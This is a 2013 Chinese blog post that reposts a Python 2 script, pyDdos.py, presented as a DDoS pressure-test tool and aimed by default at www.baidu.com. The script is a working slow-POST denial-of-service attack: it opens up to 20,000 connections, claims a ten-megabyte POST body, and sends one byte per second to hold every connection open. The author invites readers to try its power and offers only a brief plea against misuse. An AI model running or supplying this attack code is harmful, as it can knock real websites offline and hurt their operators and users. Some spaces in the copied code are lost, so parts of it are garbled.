|
今天为了休息下,换换脑子,于是就找到了我之前收藏的一篇python的文章,是关于ddos***的一个脚本,正好今天有空,就实践下了。
原地址:http://www.service-labs.com/test-ddos-tools.html
附上源码pyDdos.py:
[python]view plaincopy
- #!/usr/bin/env python
- import socket
- import time
- import threading
- #Pressure Test,ddos tool
- #---------------------------
- MAX_CONN=20000
- PORT=80
- HOST="www.baidu.com"
- PAGE="/index.php"
- #---------------------------
- buf=("POST %s HTTP/1.1\r\n"
- "Host: %s\r\n"
- "Content-Length: 10000000\r\n"
- "Cookie: dklkt_dos_test\r\n"
- "\r\n" % (PAGE,HOST))
- socks=[]
- def conn_thread():
- global socks
- for i in range(0,MAX_CONN):
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- try:
- s.connect((HOST,PORT))
- s.send(buf)
- print"Send buf OK!,conn=%d\n"%i
- socks.append(s)
- except Exception,ex:
- print"Could not connect to server or send error:%s"%ex
- time.sleep(10)
- #end def
- def send_thread():
- global socks
- whileTrue:
- for s in socks:
- try:
- s.send("f")
- #print "send OK!"
- except Exception,ex:
- print"Send Exception:%s\n"%ex
- socks.remove(s)
- s.close()
- time.sleep(1)
- #end def
- conn_th=threading.Thread(target=conn_thread,args=())
- send_th=threading.Thread(target=send_thread,args=())
- conn_th.start()
- send_th.start()
OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS***的脚本,所谓学习***的方式是为了更好的抵御***。
原文地址(注:好像这个哥们儿也是从人家别的地方抄来的,但是他好像没有标注出处,所以我也不知道这个原文出自哪里,如有侵权,请及时联系我):python版本ddos脚本
2013年4月14日 Eric.Tang 记 |
|
|